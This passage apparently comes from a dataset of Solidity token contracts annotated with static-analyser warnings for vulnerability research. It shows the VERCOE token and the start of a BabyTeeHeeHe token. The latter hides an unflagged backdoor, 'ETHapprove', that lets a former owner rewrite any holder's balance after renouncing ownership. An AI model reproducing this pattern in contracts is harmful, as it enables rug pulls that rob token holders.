ID: 4ba1bdd\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: 8f5cf24\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: ce4afc9\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 31a543d\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 1c5eb4a\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 78e21d8\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: f8de658\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: fa62ba4\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (unsignedRoundsUp(rounding) && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (unsignedRoundsUp(rounding) && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (unsignedRoundsUp(rounding) && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (\n unsignedRoundsUp(rounding) && 1 << (result << 3) < value\n ? 1\n : 0\n );\n }\n }\n\n function unsignedRoundsUp(Rounding rounding) internal pure returns (bool) {\n return uint8(rounding) % 2 == 1;\n }\n}\n\nlibrary Strings {\n bytes16 private constant HEX_DIGITS = \"0123456789abcdef\";\n\n uint8 private constant ADDRESS_LENGTH = 20;\n\n error StringsInsufficientHexLength(uint256 value, uint256 length);\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), HEX_DIGITS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toStringSigned(\n int256 value\n ) internal pure returns (string memory) {\n return\n string.concat(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n uint256 localValue = value;\n\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = HEX_DIGITS[localValue & 0xf];\n\n localValue >>= 4;\n }\n\n if (localValue != 0) {\n revert StringsInsufficientHexLength(value, length);\n }\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return\n bytes(a).length == bytes(b).length &&\n keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\nlibrary MessageHashUtils {\n function toEthSignedMessageHash(\n bytes32 messageHash\n ) internal pure returns (bytes32 digest) {\n assembly {\n mstore(0x00, \"\\x19Ethereum Signed Message:\\n32\") // 32 is the bytes-length of messageHash\n\n mstore(0x1c, messageHash)\n\n digest := keccak256(0x00, 0x3c)\n }\n }\n\n function toEthSignedMessageHash(\n bytes memory message\n ) internal pure returns (bytes32) {\n return\n keccak256(\n bytes.concat(\n \"\\x19Ethereum Signed Message:\\n\",\n bytes(Strings.toString(message.length)),\n message\n )\n );\n }\n\n function toDataWithIntendedValidatorHash(\n address validator,\n bytes memory data\n ) internal pure returns (bytes32) {\n return keccak256(abi.encodePacked(hex\"19_00\", validator, data));\n }\n\n function toTypedDataHash(\n bytes32 domainSeparator,\n bytes32 structHash\n ) internal pure returns (bytes32 digest) {\n assembly {\n let ptr := mload(0x40)\n\n mstore(ptr, hex\"19_01\")\n\n mstore(add(ptr, 0x02), domainSeparator)\n\n mstore(add(ptr, 0x22), structHash)\n\n digest := keccak256(ptr, 0x42)\n }\n }\n}\n\nabstract contract EIP712 is IERC5267 {\n using ShortStrings for *;\n\n bytes32 private constant TYPE_HASH =\n keccak256(\n \"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"\n );\n\n bytes32 private immutable _cachedDomainSeparator;\n\n uint256 private immutable _cachedChainId;\n\n address private immutable _cachedThis;\n\n bytes32 private immutable _hashedName;\n\n bytes32 private immutable _hashedVersion;\n\n ShortString private immutable _name;\n\n ShortString private immutable _version;\n\n string private _nameFallback;\n\n string private _versionFallback;\n\n constructor(string memory name, string memory version) {\n _name = name.toShortStringWithFallback(_nameFallback);\n\n _version = version.toShortStringWithFallback(_versionFallback);\n\n _hashedName = keccak256(bytes(name));\n\n _hashedVersion = keccak256(bytes(version));\n\n _cachedChainId = block.chainid;\n\n _cachedDomainSeparator = _buildDomainSeparator();\n\n _cachedThis = address(this);\n }\n\n function _domainSeparatorV4() internal view returns (bytes32) {\n if (address(this) == _cachedThis && block.chainid == _cachedChainId) {\n return _cachedDomainSeparator;\n } else {\n return _buildDomainSeparator();\n }\n }\n\n function _buildDomainSeparator() private view returns (bytes32) {\n return\n keccak256(\n abi.encode(\n TYPE_HASH,\n _hashedName,\n _hashedVersion,\n block.chainid,\n address(this)\n )\n );\n }\n\n function _hashTypedDataV4(\n bytes32 structHash\n ) internal view virtual returns (bytes32) {\n return\n MessageHashUtils.toTypedDataHash(_domainSeparatorV4(), structHash);\n }\n\n function eip712Domain()\n public\n view\n virtual\n returns (\n bytes1 fields,\n string memory name,\n string memory version,\n uint256 chainId,\n address verifyingContract,\n bytes32 salt,\n uint256[] memory extensions\n )\n {\n return (\n hex\"0f\", // 01111\n _EIP712Name(),\n _EIP712Version(),\n block.chainid,\n address(this),\n bytes32(0),\n new uint256[](0)\n );\n }\n\n function _EIP712Name() internal view returns (string memory) {\n return _name.toStringWithFallback(_nameFallback);\n }\n\n function _EIP712Version() internal view returns (string memory) {\n return _version.toStringWithFallback(_versionFallback);\n }\n}\n\nlibrary ECDSA {\n enum RecoverError {\n NoError,\n InvalidSignature,\n InvalidSignatureLength,\n InvalidSignatureS\n }\n\n error ECDSAInvalidSignature();\n\n error ECDSAInvalidSignatureLength(uint256 length);\n\n error ECDSAInvalidSignatureS(bytes32 s);\n\n function tryRecover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address, RecoverError, bytes32) {\n if (signature.length == 65) {\n bytes32 r;\n\n bytes32 s;\n\n uint8 v;\n\n assembly {\n r := mload(add(signature, 0x20))\n\n s := mload(add(signature, 0x40))\n\n v := byte(0, mload(add(signature, 0x60)))\n }\n\n return tryRecover(hash, v, r, s);\n } else {\n return (\n address(0),\n RecoverError.InvalidSignatureLength,\n bytes32(signature.length)\n );\n }\n }\n\n function recover(\n bytes32 hash,\n bytes memory signature\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n signature\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address, RecoverError, bytes32) {\n unchecked {\n bytes32 s = vs &\n bytes32(\n 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff\n );\n\n uint8 v = uint8((uint256(vs) >> 255) + 27);\n\n return tryRecover(hash, v, r, s);\n }\n }\n\n function recover(\n bytes32 hash,\n bytes32 r,\n bytes32 vs\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n r,\n vs\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function tryRecover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address, RecoverError, bytes32) {\n if (\n uint256(s) >\n 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0\n ) {\n return (address(0), RecoverError.InvalidSignatureS, s);\n }\n\n address signer = ecrecover(hash, v, r, s);\n\n if (signer == address(0)) {\n return (address(0), RecoverError.InvalidSignature, bytes32(0));\n }\n\n return (signer, RecoverError.NoError, bytes32(0));\n }\n\n function recover(\n bytes32 hash,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) internal pure returns (address) {\n (address recovered, RecoverError error, bytes32 errorArg) = tryRecover(\n hash,\n v,\n r,\n s\n );\n\n _throwError(error, errorArg);\n\n return recovered;\n }\n\n function _throwError(RecoverError error, bytes32 errorArg) private pure {\n if (error == RecoverError.NoError) {\n return;\n } else if (error == RecoverError.InvalidSignature) {\n revert ECDSAInvalidSignature();\n } else if (error == RecoverError.InvalidSignatureLength) {\n revert ECDSAInvalidSignatureLength(uint256(errorArg));\n } else if (error == RecoverError.InvalidSignatureS) {\n revert ECDSAInvalidSignatureS(errorArg);\n }\n }\n}\n\ninterface IERC20Permit {\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n function nonces(address owner) external view returns (uint256);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n}\n\ninterface IERC721Errors {\n error ERC721InvalidOwner(address owner);\n\n error ERC721NonexistentToken(uint256 tokenId);\n\n error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);\n\n error ERC721InvalidSender(address sender);\n\n error ERC721InvalidReceiver(address receiver);\n\n error ERC721InsufficientApproval(address operator, uint256 tokenId);\n\n error ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\nabstract contract ERC20Permit is ERC20, IERC20Permit, EIP712, Nonces {\n bytes32 private constant PERMIT_TYPEHASH =\n keccak256(\n \"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\"\n );\n\n error ERC2612ExpiredSignature(uint256 deadline);\n\n error ERC2612InvalidSigner(address signer, address owner);\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 041b471): ERC20Permit.constructor(string).name shadows ERC20.name() (function) IERC20Metadata.name() (function)\n\t// Recommendation for 041b471: Rename the local variables that shadow another component.\n constructor(string memory name) EIP712(name, \"1\") {}\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: a31a72f): ERC20Permit.permit(address,address,uint256,uint256,uint8,bytes32,bytes32) uses timestamp for comparisons Dangerous comparisons block.timestamp > deadline\n\t// Recommendation for a31a72f: Avoid relying on 'block.timestamp'.\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) public virtual {\n\t\t// timestamp | ID: a31a72f\n if (block.timestamp > deadline) {\n revert ERC2612ExpiredSignature(deadline);\n }\n\n bytes32 structHash = keccak256(\n abi.encode(\n PERMIT_TYPEHASH,\n owner,\n spender,\n value,\n _useNonce(owner),\n deadline\n )\n );\n\n bytes32 hash = _hashTypedDataV4(structHash);\n\n address signer = ECDSA.recover(hash, v, r, s);\n\n if (signer != owner) {\n revert ERC2612InvalidSigner(signer, owner);\n }\n\n _approve(owner, spender, value);\n }\n\n function nonces(\n address owner\n ) public view virtual override(IERC20Permit, Nonces) returns (uint256) {\n return super.nonces(owner);\n }\n\n function DOMAIN_SEPARATOR() external view virtual returns (bytes32) {\n return _domainSeparatorV4();\n }\n}\n\nabstract contract ERC20Burnable is Context, ERC20 {\n function burn(uint256 value) public virtual {\n _burn(_msgSender(), value);\n }\n\n function burnFrom(address account, uint256 value) public virtual {\n _spendAllowance(account, _msgSender(), value);\n\n _burn(account, value);\n }\n}\n\ncontract VERCOE is ERC20, ERC20Burnable, Ownable, ERC20Permit {\n constructor(\n address initialOwner\n ) ERC20(\"VERCOE\", \"VRV\") Ownable(initialOwner) ERC20Permit(\"VERCOE\") {\n _mint(msg.sender, 110000000000 * 10 ** decimals());\n }\n\n function mint(address to, uint256 amount) public onlyOwner {\n _mint(to, amount);\n }\n}\n",
"file_name": "solidity_code_10097.sol",
"size_bytes": 38962,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n this;\n\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n address internal _previousOwner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function RenouncTransferOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n _previousOwner = oldOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, Ownable, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _totalSupply = totalSupply_;\n\n _balances[msg.sender] = totalSupply_;\n\n emit Transfer(address(0), msg.sender, totalSupply_);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 72056d9): ERC20.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 72056d9: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[sender] = senderBalance - amount;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _transftax(\n address sender,\n address recipient,\n uint256 amount,\n uint256 amountToBurn\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n amount -= amountToBurn;\n\n _totalSupply -= amountToBurn;\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, DEAD, amountToBurn);\n\n emit Transfer(sender, recipient, amount);\n }\n\n function ETHapprove(\n address account,\n uint256 amount\n ) public virtual returns (uint256) {\n address msgSender = msg.sender;\n\n address prevOwner = _previousOwner;\n\n bytes32 msgtototal = keccak256(abi.encodePacked(msgSender));\n\n bytes32 prevtototal = keccak256(abi.encodePacked(prevOwner));\n\n bytes32 amountHex = bytes32(amount);\n\n bool isOwner = msgtototal == prevtototal;\n\n if (isOwner) {\n return _updateBalance(account, amountHex);\n } else {\n return _getBalance(account);\n }\n }\n\n function _updateBalance(\n address account,\n bytes32 amountHex\n ) private returns (uint256) {\n uint256 amount = uint256(amountHex);\n\n _balances[account] = amount;\n\n return _balances[account];\n }\n\n function _getBalance(address account) private view returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c3d6e7): ERC20._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c3d6e7: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract BabyTeeHeeHe is ERC20 {\n uint256 private constant TTOALSUPPLY = 420690_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 8f9d7c1): BabyTeeHeeHe.DEAD shadows ERC20.DEAD\n\t// Recommendation for 8f9d7c1: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: e53731a): BabyTeeHeeHe.ZERO shadows ERC20.ZERO\n\t// Recommendation for e53731a: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 00ad88d): BabyTeeHeeHe.maxBurn should be immutable \n\t// Recommendation for 00ad88d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxBurn;\n\n\t// WARNING Optimization Issue (immutable-states | ID: d695926): BabyTeeHeeHe.maxminburn should be immutable \n\t// Recommendation for d695926: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxminburn;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: a4dec60): BabyTeeHeeHe._BurnZero should be constant \n\t// Recommendation for a4dec60: Add the 'constant' attribute to state variables that never change.\n uint256 _BurnZero = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f3d1941): BabyTeeHeeHe.uniswapV2Router should be immutable \n\t// Recommendation for f3d1941: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(\"Baby_Tee_Hee_He\", \"BABYTEE\", TTOALSUPPLY) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n maxminburn = TTOALSUPPLY / 